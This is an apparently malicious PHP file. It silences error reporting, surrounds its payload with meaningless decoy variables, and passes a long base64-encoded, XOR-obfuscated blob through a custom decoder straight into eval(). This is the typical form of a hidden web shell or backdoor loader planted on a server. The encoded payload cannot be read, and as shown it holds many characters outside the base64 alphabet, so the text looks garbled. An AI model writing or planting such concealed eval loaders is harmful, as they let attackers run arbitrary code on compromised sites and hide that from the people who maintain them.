<?php 


error_reporting(0);


$goe="sdtxoo";

$jatd="faagk";

function b($x, $f){ 


$y=""; for($n=0;$n<strlen($x);) for($o=0;$o<strlen($f);$o++, $n++) $y .= $x[$n] ^ $f[$o]; return $y; };$ykj="nwjqk";





$vbabub="afo";
eval(b(base64_decode("ID_XVED\IUWUDFBEMK&LI^ZI^4\@UgIWQBJOHZ&XDzM@MXGXXI C_U\M^	&\DsE@I:I_MI_XjI_&TIUDNG
^K&RM@EXIxCGhICHIWQXXAKRAJ
MFZ&@EHMX2CGBiBHIMIt xy* jjozHy"Ot#cz5g-zD&/t;_`m[0Db=&A_^
IhIOXHJOCBaYnBOCcZ+WO_Xd2JX+E@EHwq_X^UCB_X![\^_I,X;EYTOA_X\M^eBdUOZDYT]U\M^eBXdXAT\LXT@FM^eBX@?TYO^_$Bd^_TMZPTELM^_ >BX[%NTONGGT\_I-BX-_TNYHT@M^_IedLTZB]U\M^eBXdXATLXTJGD\MIeB_dTOTTM^J"PT
IMGS@_IX+A\YDqMw EX+PMXOD5OWX?\Yq[wN_DXq@^QQQX OFHYOXB[@^WOCB_Fe?AIP B]XNOZgZ;Y @ CwB[
<Ne`QT^mP IHcWJX3E BDTAIjQT@P AQ ]|f+4 T
b QIcDPY_I WQSD11TIJ Ni@_ h	 XC7A :qIPKIJ NC@ _ ]F`)hx WGEY
ht8@ OKM EHOYP HMN 
A O_n IHMXP B[YB/KN[
% IVA @MIPT\J NNHU}v"u E CIxEB[HEF=viD. CBA xMIP/Y QINDPXhC W J_C a1$ TX\H{otO[pT@ CDM_B[XEM X X CBHCB[XE
\ -C x C^I_B[IEB X X	 CZI^B[OE( E Oq_[JOXBAWXY^WeQ^Y^
[LLQ@[h	IwaXVTRaMGTMD$F A\aTOEOaLTMU^4ZeBwaT_)NZFaAC:TIYMMqL,aT]TI_SaX=NTI(_T[BaF N5_waOaOXJBqZ\B	EKMXC=aCTQP>EYTND_q _YMMZKMX
wa[]T
]5HaXVTMq OAIwaXaXVTO\aMGTNKD$F JA\aTOaLTCXJAq^5TQ@aMwTU*wa[JNQQaXMaXATJN:CMP]_[qHCOYAXw)T]A>EO_SaXN=NT\J(_TON;PTCAAq)T\@>EYTM@_wXqwaWVTNS(_TXBaF JC:TOYMaCTMPqZ6aATHa@PTMYMaTTMML*wa[]T
]5T
aJ9 [HXMZ
MC^-5TQa_Oa.VJBOCBXsOCCI+  ^WO_OK5@IW}BI[P"MX4,OCNXPT	IW;}?OUTD
F MHA\IqYMXTTOOGTUR@IXiOLEJX5[OCTMVPEYTC_O@GTMIW[5wOUOMZFOACTACBK8_OAIwOXNOXVTTq*\TFIOMC2O^HOOXJNYBOCBKI9OCGEIM8WBX Ea@HCAI
XwZMPTY@Z^HTA*wZTQCOD8_ZCN\ PTQWMcLZUNNTDF ONA\ZTOBOZLTM^ZJ@EP^Y^BY_O\I6,TA0RI@^I^BBY
QEKIX:CCIAHQQ

XsOCCICBCQ_s
CCIP H TBO _XsO
GEE TTA[_IXsO	GE_P _AZIXsCGEIWYH_Y U_IsOGEI@PEY EJTV _ sOG IQH  TY]JY
OXE
n[" WB_XH$[XYBnXYBEBT}WJXTF]@Ii6,XqHIY^XiQD5c HKEJLHCOIB6aAMC:TAACCB8,aCM]QqXsOCCICD\ICO IXw;PTN	^aTIWCCB8,aCM]Qq XzB_MIm_6Y^nHUVEO_Xd2]JY
OXE
[[DW
CBO3P^IZ WpIPHCJ N*ze}P BWTu[<" TC QGIDP[{ "`hC I T.D  QOYG]Yt[ C^XEy$4 _G}= Ou RHy59FN I O^I IHUG{9_&Z_\FEizD CB@CB[\EA -I c CM\\B[B\]`M'+bCDP^IA WE_C D TO QOPOENC~! C_XUB[BEOqJJYBOX	BMW^I^BS^Y^BH QJOXCB'_c DW
CB_^IXB&JYXE }_XXEGTIX!w*^YB3CQ n@8 HQX YBXEC_c DW
CBi*[cKDEID,q^WO_XJ\M^_/BXLiFJMZDYT\P\M^eBXiXATUIIL^_B\
_IeiTAMTV]\_eBPiXYITP\_I:XAiQHTJ
PTEM\^_I,X6EYTIGGT\_I-BX _\I[_WTA\\M^_I9X!TTZB^_I!XiTMN\_eBPiXIYIT^_$Bi^HTJ^TNY]EJLXXNMII3P\Y_D-NwC_DEq[DRQOOD9^Ww\D9wBDE4_CQQQ@  TMVIM@IWY^P[ BHwdOGTIY;wdLTTZFdAIIA\dT,FJTD!F IO^qT\BOC^i	AOAIwdXI8NTUIN?\I>PTYMAqCM^BO^,@I#dXJ[A@ICqdMPTBN>PTYdXATUJL\dT]TXJQQIO[MBODC#@I	wdBGT\@_qY MBODi@AwdMGTTBdQHTIPPMHW;TV HCAIw!IJOCPUqwdXVTH-_TBJ@d^_TXG@AqBOD
i@ EMBC^iAwd@JRBG.EEHCAIB,dTCUq>?CJ_SdXI[.L\@JqAMBC^iA _I2EACYXMYBEB_OCBadBH[waMPTBNq-5FJ=NTUJHN:CO_SaXJ[+IL*YRQ F IAL&D@YZOBH ZJ_XIJC_VIEGC]YFH\LHE_EIEBKEI\X BKVI^MIAIBXPI@	_AMW^IEEBX_Y\O^EXE@K\IS Y\VK\ENZEZ_\\\BJEZU@I	BXI_EV M]]YFH_[XNCMBAAM_XXEBI__A\XHEI\MQFNVKNNNZ\X\Y_@BXVI^VTUGDHN[
IHH_XM^FZEHEMXI_BX@KE\NZ\ZHEIZW_BG\MBF_X@IBCB@_ VILXXG@VTIL ]IBM@EX^MBXEI@UEE^AXMIH[MZI^KCOGYXEO	EYEZTNLK\W_X
ITJX_I@VTUGNMEO@MT^IA^I\AIN_
NIB_@MXPCB^YII IBJ
IACN XH\	EZ_@IJXEVI_WC]YFHIASP_@EHCVIIY__BMO WAE@@E^CBCXEFHE F_\	_XU@[JBXVIIMGFHXGZDWX\Y
OXY^	E
M@IMCBCAC@UDM\\ XMMBI_G\MB XH\	EX_XUJCBK_EIUYC]YFH]DO^GDM_XAMOIMBT_NE@I_LIEX\JZWZZHIEMQ ZGEZ_ BXU@ JJXD_EFG@VTMIY@I^EEBX^YOH_KISII^UO@IM^@^^E@I^F_\\VK\HKHEZ[KEOBEWHZEJAID_XU	^I^LXH EHXDWVIEKCJ^MNC^^NZE^MA I\MQZGEZ_ BXU@ JJXD_EFG@VR\TBI_XGINGHG_GIDEUECEU\
K^MZM@YFX^HIBII^XD_\	&&zBE;_IXMUM@[6Y^'JC\ RO&nJYBECMKBIXI~	HCAXBKL@IXDSPXV&HW^IXY^F_Y_X^MX^,DJJ_X(^I\IMNTYMNIJEG@C\]XYZ[T	mn'hij"?ef8!a'c|'*xy> tuv PIE@ KXB_^@TA^ \B@I
KXDLL&QygEWYBOCBsITX_LKI%IM$\(HH9jA&BOECBEIX!Me\7H^m._WEFEIA\,>i;zi$#ki'>|smhh"AqM

E_,>i;zi$#ki'>|smhh"AqXW@]]X_XWEJsi~&#~wCkic,'sm7)~NqXI@_J\Xs62~z6?wNdx"(sts.8~{m~h5"sj+~qL^
UMAs%=~zi:,dxx|/>sj+~{m73ih,+c;q_DZ@AAB
MSs6?z,~wQ0xx|7/sjc~{14hi sjc7PqOSMs3*zi~3Pi~zi"9mh ~qL^IEI@CH_  T9i6zi~>Pdx'=s1sj9*{m~,2hsjc~W;DE\EJwYqXI@_J\Xs62~z6?wNdx"(so`!2bxse|W;D

M_s (~?i~-_dxx8(o`eib$9e|Cq[PDCGG_
NWs54zi6wd1#|s0!e,bx)1|qAKs54zi6w %zi!2m-h~Q%HE\/5i~2i~wB?xx#2o%ei8,se|O*QI@EJD \X
E6i$.i~wO?xx|so69oc*bio1>bk,$|Nq_X

@_si~&#~wCdxx5(oj,.c'bi5,ebk7>|qNASUYZM
O^\si:!i~wd$2|s'jso*9bi09e'ks?(qTIsi"0i~?i7!i~,,h-~+QSE\s##~z!~w-#x|,.j6oc86iox!9kse|-]Q@_IEEP6i$.i~wO%iacxi/'hh6qW^I^Qb
&&EJXGJY
OXE
sI__QIX~@^IJYOWnEYBEBX~I	^IJP&&DEWA\s;2~zi~wW.xx4s~i#2~i!Jq@rHWPFs7i~z %w;9x9s~3>i~i:PqKIBd1#|s!(j,~i$_&HWP&&DEWAIAU7$i~zi~+Adx0|s~ 1i~6?4V
IXY&zFDEIXBIs%=~zi:,dxx|/4ij!~i~B*&SMIQ&r&EJH_JYBOCB;ITE_T
I~IYMA^W&P YBXECWKI?I@YPWHJIA\;i~32~wT%x=|s#+i~s)0ibxqYOWDs %zi!6!xx&'yi:(mkibxW;DKIX ZT%x=|s#+i~s)0ibxKFQIXY,>i;zi$#dx<'syi~/'ki*xq^WQ&g&YBECBHIXhCABbAILWW&SMIDHI^WM\MIsI]Y XsMI^P&HW^IXB@DIM^_(Od_XT%&Qb}JYBOX	BIX|XC@ArHIXY^BPNI	\XUMSs6?z,~wQ0xx|;Pq

PBs!~zi7,d'9|:qVYOJJPFs7i~z %w (~?i~)(c~xO*DU[D\_IBKVZDXXM&l&JBOXBX;I]_XdHI^_YFW&DAIM^V^^M_&PFJCIMO_s (~?i~V_UTM@I}SMI__X^U D P^MM!xx&'}PFDO
XEIR&VXHWQ&PFDDII^SPX^)
I\@	I\FC Y C^X^)
I\@	Is\FC _XC[^N_X_GIU PSMoWSMIMHIwDIM^qD@YV&IV&HW^IXY^FDMHI&g&YBECBHMXODhM@DMUMOAMBI@I HSCJJ_I[DW&EWEE _s
^MU@SBIIH@O@BIIINMM^MPBI@I&PFC^IDWIH@XM_LYI^UP&DEWEE_^\D	_XMOG\F]I^UIWC_XVY@_IXYBXISBI_XCBHE^_XYID^I_X&SMIQ&VX^Y^BJ
_I_&Q&oYBEBOCH3IOCHI(	^@X AgIRMXMHJ&PFC^MSENMRX_@IBODW&EWSMC^VPFUWFPZ_^@I_GZVMF]TEC\W&PFDEWXKXXwLqr=F9&EWSM&VXQ&HW^IXB@HMXL&QygJBOCBOCHI^OXIWGZMWcVXHMIB	HI IOCtCE R&HW^IXBM_ISCsICIRMXMAL&Q&&JOXCBOCY^_DWKWzFD_XWNM ]sHCHI@S_&PF^XY^WIBHhIHIt_ TnQ&&BOCK~I_B_I@DW&&EWWI\KXbWEJX_sM@@@I[JO^@)BEXO^W&PFDSY@sEXL^@&PFD^@,IC\PODDWoy~`c 2s7`sz %ej*=i,~ VM@_^&PFDOY^	(_I\ o=%`c|xs#5`s2i~e#.dc 9 IMrHWOY
s_XC\_OA*y~:7|xs.8``c{`?%mx-cb EFyMIVXOYs_IXC D &"~`<=x6~i"-~bx:6bji~\F_&EWSMO^@)IXCOD P%y~(c|x:?im7(~E_C&HWO@sIXC Ioy$4c|x74cbbio$2ea!cyxIWZV&IVX^@s_I	\XLODIWoy!!c9xs"1aic=# KlDEW^\I^@sIOOO&DEWWIHIXO@sKIXJCLOWyMIVXOYsO@C_NO&EWSMIEJVPDI	I^wD\sCHIB*NMYV
IXYJM@_]&DQE@_MWc&VXHWY^@s ^_HEM^ s^@^\Y^@AL&PF@__@EJW^s\
_IH3P_ODIAAqYX\ JR&VXHW^I]MFk!xEY@6\MIHwOMXDqKl&DEWEEE_IPY^(\M^_I=]I^UB*SI^]XEOWY^9\M_IH>P]YUNq|rHW^Y-#x|\\Yp^*dC_MT^@;\M^HwTCX+X4pBoCBOXCBE4@C ppB*
pBS}PFCOGEJJ OC\@@K_WZMIYs\MIHwDX9 @LM]LXS}&PFJOGZMWcVXHWlJ X_L_C WI|XHWPB^YoWSMIVX[DIJI COGL^&SMIVX}PFDEWMIJK_OG @T_&EWSMIVXE_^_\DA&SMIVXHWEJXBNY9pBQDM^KX&HWPFDQ&EWSMIV8JO@I_CnEWS&IV&HW^IXY^F^_\o
&&B
XE^II_X|C^@ ES\MAr&HW^I_\P[C&&EW _s@@M
IOY
sE
EXL^WygIVXOY
sE
EXA^@ZV&cVXHY^@s_C\O[o&?`&|x)+`s>2~eju|5#~ DJM@yMIVXOYs_IXC D &"~`<=x6:'zi~!1udcx\F_&EWSMO^@)IXCOD P%y~(c|x:1c`?"{%co7,ecbDW&PFDO@s X\X^\OD H4y~`c|$9~i0y~b1%mb +i; GQ&HW^@;_IX
XWDEo#*`c|<(dimhi"JM&EWSM
Y^'_IXXOD\Foy6`c|1(oc=#i*xx?5icy<[zFDEY^2_XCO [oy~`?6xs0eai*"x S\@&VXHWOY^@/IX\XAD S.y;`c&,s|c;# zFDEY^2_XCO [oy~`?6xs4cx#>i`7> I\
MA_AL&&PFD^ISY@s IOLD&PFDMHTO
@sKEBJCPBODD&oWSMIO
@sO_IOO&nEWSJIMHI,DXX\/CHqDJC]I^I^B@_I&zFDQI@WygIVX@s\M^HY\MIs@AY&HWPB__MSY^2\^_w_IAIqP[CDXXHg&IVXLCBXITFX^IsOXTX)^IMw&PFDEW_ IV#&HWPFD^EsII_HM@_I zFDEWSMI ^EJ(\II^sAICEM@ &IVXHWq&PFDqLL&&\BIVX_Y@XdXY@LM_@LWRWPBY^s\MIH(JD_XQ%HUXB__QCIM^@)M^_w\C^Aq_&EWSMI_XdC@[_\JSQQL^@s\MIH?DCqHg&IVXY^9\M_IH>P\C4rHWPF^_Y@?C_MTLZL^@s\MIH?\CqHgIVXQ_IW&PFDEW_@X>_XFJ__ODEYG^SLZPG&PFDQ&&EWSMI_GIXHJ_X^Is_OGI(O@B_Y@?C_X T^^
C A^^>KECTx:2maso`9#bx;ocb+2ox_M
CBTXS}&PFJOGIW&|XHWP \Y_OG I|9+xHYY^@/M^IHwBMXJqITXdxx8Xp^,_&EWSMIYX_@S_COGIJ,C_X_W]M^@)M^_wDC_AqJp+BZV&IVXHWJ\YCOG  Q.CXIXUM\\OMECBJ[C^UY^@OCHIH,pBF&EWSMIVXJ\Y_COX DoCIB@@BKFX^@IBXB\MMA_LYp1BK|XHWP \Y_OG IoBIOCBO	_I8^pB9pBQDcVXHWJ\_@_COX SI\^MJ+^pBp^,_&&EWSMIV\^HG&PFDE DEHJI_GIXP&DEWSMIV\NHKIX_TCOIX EFGDcVXHWPFEJL^ES^I GR&HWPFDMT*
pBAW^A]&DEWSM&&VXHW@CIOGR&&VXHWQ&&PFQn&EW^I^_\b}Q&&JYXEBH IO(AE@?kIX?XDo^U M^M[U@W|XXY^B IK;AMX\-K OCH$CY^OIX^@ IOC^AZXGI^YInEWSK
cVXH^IKsAODLpKX S	I
CH+CY^Y^@HCH\MAZAMGIQUWX^YIz&&YBOCBS	IIO=AME>BkIX{Dn_IQ_\MrHIXY^BP^IsAMDQBlF VM_I^CsHIOCM^M^NP^YrHW

zFDE^I2AXOPpFX NM;HIO
IWMMA_QH^YI&l&JBOXBXOX3ME@!kIX ^M	WoWSIY^X\^I(AMXODXDlK AM^ IV^YIbWPF

nEWS^KsXOD@Up\F\^MALWS^I|&&JOXECBP_oCGE 2BMIAZEHMxCGIB4OC IHE&&SMIKoCYzlDEJE_E_ XAs1=xwqlDEWKoYBXL(kixwq_&EWQ&yMI_OCCIAC DIWXE@VKDWzlDEJE_E I);ccg!2wACN	DqMW&EWSMIEJVPKI4CYBXM[MHE _yMIVXDI	I^`MXCBEP,>i;zi$#|d8(i`j-H[KOGW[IKXoBXCWR@XGYESZMHXI"GIB,OCHIHY]HI^}SMQc&Q|r^ICB_IMF_&^ YI y@KXb}`EZ@EHI&yJAE_X70ixwXAqD

_IEYsIOI70ixwXAqDAM@	MIxIBhCHIHP&&DoCEiB@IL(kixwqM&&EWWCAhMH^^MUXDXGFESZMHXI"GIB,OCHIHY]&D^MTNI7BOCHIX_C
sIBHI[IJ^A2XMAL&&PB^IYI_"^@SPMDCLMXDzMHMI&oWSI^_\_IUWX^EA^EsXM^Y_X&_XLI]YI_3^@H\MA D@&|XL_CBcNOXDFBsOHI^IOCCY^ON^_\CI SIGU_C&&HWEJT_C
cNF XMM@MXI<GIBQP[@ZM@MX9CIB2OCH

CB+NFIJX^KxCGQPDssCU(CZMWcVXHODCF	BsBOCC2CYsCF'CS}QzlDHE _ygQc&YXiAMX^MO^&nIA@xOI^VES}^IJMFKI~IM	IJ[DcEXK~IM@e 'HHmjLL&&AE_X70ixwEAqMW&EWAHIOXiE@eBk{EDo^XW2k,xwQHqDWGIUYFI	ME@1MO^IOCH$CY^OIX^E	s"2xwTHNqZXGI^&PJLHIX XiEeB1X{EnM_IDNs#ixwBH.DIIE@xOGI^MFNMI:IO	IAs1=xwq&PFJXIiME1BkI_skix+AEHCqESIA@=^MI^UWskix+AEHCq&oWSI^]YX|MA_^M&EWSMIE_HSIAME@$MOI^ oWSMIVWE\ &PFDBIJTMWJ&HW&PFI]Y XyT_XFW_I^ZhI@CU.UyMI]YI|M^MAF^@ICHEIOCCYIY^@OC ICB,B
CHP^II_X|MA_MIWG@&VX_\f_C5X^D^ YI |_X^\^I]_Xy^@\F^]YI|MA|rHEIzlQ&nYMEJK~M@b}DM_D ^M	A(oc<&e,wqWWsocc;/iwFD\8WQOcHIcJIXT9oc+gei>UH.MIs57cge-,HqJF_&BIc_XKXso'8geiwDq[s&8cg:(wKB+XJL&_U_ 
MXC^AEJ,.c&ge3#_\J*s3)cg-iwqSWK|\_U_=s3)cg-iwqSRMso97gei3U_YqJF_&EMA8MIR'occ#>iwEYR;Dso*8ge66 Y+XJL&[IN4EZ^ESso<"g iwTHqHHsoc?-ei?[HG*SOR&BKy	W_YN^@si7!i~(Jd=x|)9ooi8#s`mbk%'kiCq IELM_N_
s;2~zi~wW.xx4smo&2|x,!m'ky7?iqDG PDnIA@NMK&RAME'M^MAbIY^}]^XBKkKlDMHI'@MCAKXKIX:]YI_X8MH^_L,*D#|@	JC^A-FIX~ YI dMH
_3UIOoKyMI|@MC^OqITZ&&so?)ge!wHG*NMKrHODCA@DYO^XWXXF_;Y^OIhIOGK_EXTC&HWIODCRZ_OE\X[CO IXXX@CO	ECBPI@MHLL ^ \XHZ&HWHEIY]&Qn&JCMOMMsk3,M_HSBMAIMXM^M^WygI^MAMFMW&EWSMIEJVPHIXXiAME/BkX{Eo^
XA\
MA HSGIUP&DEWSMMIA@HIOCHI#	Y^IXAWMMA_TG&PFDEWIE|MAbMBInEWSMIOXEB&PFDQI@EJ[	IIO=AME>BkIX{Dn_IQ_\MV&HWPFAME	W_)IOCX^EAXB\MMAIWGR&VXHWME|M^bMTAIbWPFDOCEBcVXH
I@_IENHIIOX ME$B.IX^\\M^	W&PFDEWWAE@VE\	MA&PFDEW M @|
MAb	IAI_&EWSMIBXEI&PFDQ&EWSMI]^UEBKkIFDBMSJNV\\M^	
R]&DQo}Q&yI]I^+X^EkIXPYNX^AYI^EkIXDW Y]&&K|\MM^_&&GXJC^ ^M	MJ^Pg& J^\DM_ 'M^MAPBIAE@XW@XAADD|MA DD|^MA>GqHg&M^II_X=@	_XD^Zh\@gIUS}&^I]_X4M^MS^MUVP&HWE\MX\ &EWTIKF^ &PAYMCESYM_gIQVW@MBK% &DBHSPIIE@ bWHWFDHMcJI &VXPAI+JJ_  &SMI__HS_U_|@JCA &EWT\NHXDI	I^|@M C^	 &EW IV\_U_= &PAEYCESEJAyMZrHP[HNF[Nh^I^yDc&]YI|M^MAF^@ICHEIOCCYIY^@OC ICB,B
CHP^II_X|MA_MIWG@&|W~YI_X&zB^I\f_
XMI^II_X8_X^YIXy^	[]I_(M^M&^\fCBcS_BsOCH_HIOCH5CYOIAI_'_B
 U&zJL^If_cFKEAWITEXY]&&JAI_'_BcWJOXECB6	^z_EX
QSPIOXCA$BGl&DEW_f_cNFEIWY^@RYLWHEER&&VXEW_X^\I_\/CB<FDWT^@[CBIEZ@EO @KEJMIW&_IDEWIOK_
E\XV EBHC[^
COXECY^IM
ITV^\f_CB?FZWYQSC@YO^E&PFDICQQAXMVXX\E]YEZWIJI_DBWOCIXQHY^J^\fCBcOY@XVU&PFDHEIM^&SMIQ&|XIA@YG^WygIVXE_OCYBXXBsk!x[WS&IVXHWIODF	IXMEXX@IYE E^II_D	BXBXBGYKR
I_\"CBcNF]XW^@WLOI]^UEBKkIFCoWSMIQ_I}PFDICQQAXMVXX\E]YEZWIJI_DBWOCIXQHY^J^\fCBcOY@XVU&PFDQ&&EW@Ir&HWEN]I^U6^E
kXKEAWW&PFDEJ[ID_D&^MAAWW&PFDEWSOCTDAIX	WDXX\YE^ ^I IOCIBXUPY^@MD@^I_=_C"NZY^@J
DD|^MAEYMOcVXHWQII&EWSMIVXICAMXX\H]YN^I
I_DOWOCBXITY^	JSI^_\<CBc
WY
QDGY M @|
MAb	IRHAME	WTSR&VXHWQzFDE
I@ &&VXHW @DM_'M^ IW&VXHWPFODCEUAMIDXI]Z^II_O
XIN
@bWPFDEWSMI^\f_cNFDY^Q&EWSMIVXHWOD@]YIXBkIX _D|M^DGL&SMIVX@_IWzFDEWSMIICTIXMD\]YEJ^^_DQXOCBBXK^@Y&EWSMIVXHW_\._CB*FM^@T&HWPFDEWQRGME@8^MAbM&DEWSMIVXFUME&EWSMIVXHW
^F]I^U6^E
kXXXJL&PFD}&SMIV&&HWQ&&QzlEJD^ \f B&NF[FWMECBjC0E_XC^G
NMDC0XA@J^W&PFOBXISMIB'HIOI^If_BcNZWQX@Q&HWlIZMNZESOCIXMrHEIz&&JAI_'_BcWJOXECB6	^z_EX
QSPIDXhCEBlDYxC!H ^IX|^CXC@LEIX7AEB8AIAL&DCDA MXIEZOIJ^I_AOBXICVY@TVYxC~IHIOBIyMIHb
&&EJXB^I\f_
cN@MECB.^zE_E	^EUBC+CBHTQW&HWDXX 9^I\CBsO	IABQ&HWHEIY]&Qn&EJE_^\#_C7NFVMOXEjCzE_C^QTTE@IJ^W&&PFE_\9CcNUW@IBMADQYG^H@&|XLE@IhMDNM_ AsOHI^IT
BNM_Ps IOC_f_cNFEIWJE@"MXQL^&yMIEXCN7IXs@I@MWoWSMIC'IBH7@IMBY]&DQo}SMUX;DM^	XI^_MFKI
I^M~M	CXBKAL&TUXbYA^_SPIB
MXI:BHCAEBoWSINXI7
^MUHJKIBIXI6MBH
XBMr&HW_MZI1DKIB MX?MHC+X^E&PF@CN+AISPIB
MXI:BHCAEBo}SMI
DCV\DXAW_E\&JOXBIV\_MZ6_W }SMGZIm$CY^OI2	HUD&}&B
XE}@JNIo^OX
_JWMXCNJJIhMIQQ&HWzFD@IXEUWUIbNI^W[%^^M_SINXI5M^MI^_RH@I
KXDLL&SMC^VP@IXHPDAUX.D^MI^_HY@IBDDELWW&SMIVXLUXIbYI^>qNMGXIo ^MOXIFODoCmE_C&HWQ&P
IXDAUX,^MUVVHI[yEm^MUMUWUIbNI^W&PFnEIXSOINNbMPI[Dn@C_w]MUX9^^MWq U\GY_f_cNFEIWJE@2U\QKUQZV&cVXLMZIm_PHFCN=ATTFW^I_\:CB+NF[JIMAZQJP&PF&QMo} ^ \XHZ&&HWEJXB^I\f_
cN@^E^ImJXI^6@IFQ&EWSMIIOXMDXIYEZXP^IIDVCBXX@F_\9CcNUWHE^IO'JX^jE	QSCNMr&HWHEIKlQ&n&o"),"m,i,,vx,,,hw,,,,,pf,,d,,,ew,,s"));




$xwhal="lpjpqq";

$ddlj="uclmeks";

?>